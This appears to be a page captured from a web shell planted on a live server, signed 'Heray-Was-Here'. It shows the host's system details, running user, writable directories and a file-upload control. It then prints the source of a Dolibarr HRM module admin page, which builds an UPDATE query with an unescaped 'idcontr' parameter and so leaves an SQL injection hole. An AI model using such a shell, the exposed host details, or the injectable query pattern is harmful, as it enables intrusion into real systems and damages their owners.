Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/custom/gestionhrm/modules/salariescontracts/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/custom/gestionhrm/modules/salariescontracts/admin/admin_setup.php
<?php
/*
 * Copyright (C) 2016  Yassine Belkaid <y.belkaid@nextconcept.ma>
 *
 */

/**
 *     \file       htdocs/marches/admin/admin_setup.php
 *     \ingroup    marches
 *     \brief      Page de configuration du module marches
 */

$res=0;
if (! $res && file_exists("../../main.inc.php")) $res=@include("../../main.inc.php");       // For root directory
if (! $res && file_exists("../../../main.inc.php")) $res=@include("../../../main.inc.php"); // For "custom" 

require_once DOL_DOCUMENT_ROOT.'/core/class/html.form.class.php';
require_once DOL_DOCUMENT_ROOT.'/core/class/html.formfile.class.php';
require_once DOL_DOCUMENT_ROOT.'/core/class/html.formmail.class.php';
require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php';
require_once DOL_DOCUMENT_ROOT.'/core/class/doleditor.class.php';

dol_include_once('/salariescontracts/class/salariescontracts.class.php');
dol_include_once('/salariescontracts/lib/salariescontracts.lib.php');
dol_include_once('/salariescontracts/common.inc.php');

$langs->load('scontracts@salariescontracts');

if (!$user->rights->salariescontracts->read) accessforbidden();

$action = GETPOST('action','alpha');

$form = new Form($db);
$sc   = new Salariescontracts($db);
$User = new User($db);
$data=$sc->getContractsTypes2();

$idcontr = GETPOST('idcontr');


$contentcontart = trim(GETPOST('contentcontart','restricthtml'));
// $contentcontart=$db->escape(trim(dol_htmlcleanlastbr(GETPOST('contentcontart', 'none'))));
if($action == 'update' && $user->admin){

	$sql = 'UPDATE `'.MAIN_DB_PREFIX.'type_salairecontrat` SET name="'.$db->escape(GETPOST('name_type')).'"';
	if( $contentcontart) $sql .= ', content="'.$db->escape($contentcontart).'"';
	$sql .= ' WHERE rowid='.$idcontr;
	$resql = $db->query($sql);
	header('Location: ./admin_setup.php');
	exit();
}
llxHeader('', $langs->trans('MainTopTitleSetupCS'));

$linkback='<a href="'.DOL_URL_ROOT.'/admin/modules.php">'.$langs->trans("BackToModuleList").'</a>';
print_fiche_titre($langs->trans('MainTopTitleSetupCS'),$linkback,'title_setup');

$datahelp = getCommonSubstitutionArray($langs);

$datenow = dol_now();
$datenow = dol_print_date($datenow,'day');

$datahelp['__USER_MOBILE_PHONE__']='';
$datahelp['__USER_BANK_ACCOUNT__']='';
$datahelp['__EXTRAFIELD_SALAIRESCONTRACTSUSERSOCI__']='';
$datahelp['__SOC_MANAGER__']='';
$datahelp['__SALARIE_ADDRESS__']='';
$datahelp['__REF_CONTRAT_SALARIE__']='..............';
$datahelp['__SALARIE_DATE_DEBUT__']='';
$datahelp['__SALARIE_DATE_DEBUT_CONTRAT__']='';
$datahelp['__SALARIE_DATE_FIN_CONTRAT__']='';
$datahelp['__SALARIE_DATE_NAISSANCE__']='';
$datahelp['__SALARIE_JOB__']='';
$datahelp['__SALARIE_LASTNAME__']='';
$datahelp['__SALARIE_FIRSTNAME__']='';
$datahelp['__SALARIE_FULLNAME__']='';
$datahelp['__SALARIE_TO_USER__']='';
$datahelp['__SALARIE_AGENRE__']='';
$datahelp['__SALARIE_SALAIRE__']='';
$datahelp['__SALARIE_NB_HOUR__']='';
$datahelp['__USER_AGENRE__']='';
$datahelp['__USER_JOB__']='';
$datahelp['__DATE_NOW__']=$datenow;
$datahelp['__GLOBAL_CURRENCY__']=$global_currency;
$datahelp['__DATE_ADD_3MONTH__']='';

$tabhelp = $langs->trans("AvailableVariables").':<br>';
if($datahelp){
	foreach ($datahelp as $key => $value) {
		$tabhelp .= $key.' -> '.$value.'<br>';
	}
}

print "<br>\n";




print '<form action="'.$_SERVER['PHP_SELF'].'?id='.$id.'" method="POST" id="configsalaircontrat">';
	print '<input type="hidden" name="token" value="'.newToken().'">';
	print '<input type="hidden" name="from" value="'.dol_escape_htmltag(GETPOST('from', 'alpha')).'">';
	print '<div class="div-table-responsive-no-min">';
		print '<table class="noborder centpercent">';
			print '<tr class="liste_titre">';
				print '<td>'.$langs->trans("Ref").'</td>';
				print '<td>'.$langs->trans("typecontrat").'</td>';
				print '<td></td>';
			print '</tr>';
			if($data){
				foreach ($data as $key => $value) {
					$typecontrat = new SalariescontractsType($db);
					$typecontrat->fetch($key);
					print '<tr>';
						print '<td align="left">'.$key.'</td>';
						print '<td align="left">';
						if($action == 'edit' && $idcontr==$key){
							print '<input type="hidden" name="action" value="update">';
							print '<input type="hidden" name="id_type" value="'.$key.'">';
							print '<input type="hidden" name="idcontr" value="'.$key.'">';
							print '<input type="text" name="name_type" value="'.$value.'">';
						}else{
							print $value;
						}
						print '</td>';
						print '<td class="center nowraponall" width="64">';
						if($action == 'edit' && $idcontr==$key){	
							if($user->admin){

                			   print '<input type="submit" value="'.$langs->trans('Validate').'" name="bouton" class="butAction" />';
							}
                			print '<a class="butAction" onClick="javascript:history.go(-1)" >'.$langs->trans('Cancel').'</a>';
						}else{
							print '<a class="reposition editfielda" href="admin_setup.php?idcontr='.$key.'&action=edit&token='.newToken().'">'.img_edit().'</a>';
							if($user->admin){
								
							print '<a class="marginleftonly" href="admin_setup.php?idcontr='.$key.'&action=delete&token='.newToken().'">'.img_delete().'</a>';
							}
						}
						print '</td>';
					print '</tr>';
					if($action == 'edit' && $idcontr==$key){
						// $file_contents = dol_buildpath('/salariescontracts/contentscontrat/contrat_'.$key.'.php');
						// if(file_exists($file_contents))
							// $content = file_get_contents($file_contents);
						// $content=dol_nl2br($typecontrat->content, 1, true);
						print '<tr>';
							print '<td align="left" colspan="3">';
								print $form->textwithpicto($langs->trans("Content"), $tabhelp, 1, 'help', '', 0, 2, 'content').'<br>';
								$doleditor = new DolEditor('contentcontart', $typecontrat->content, '', 500, 'dolibarr_mailings', 'In', 0, false, true, ROWS_4, '90%');
								print $doleditor->Create(1);

							print '</td>';
						print '</tr>';
					}else{
					}
				}
			}
		print "</table>\n";
	print '</div>';

print '</form>';

llxFooter();
$db->close();

Hry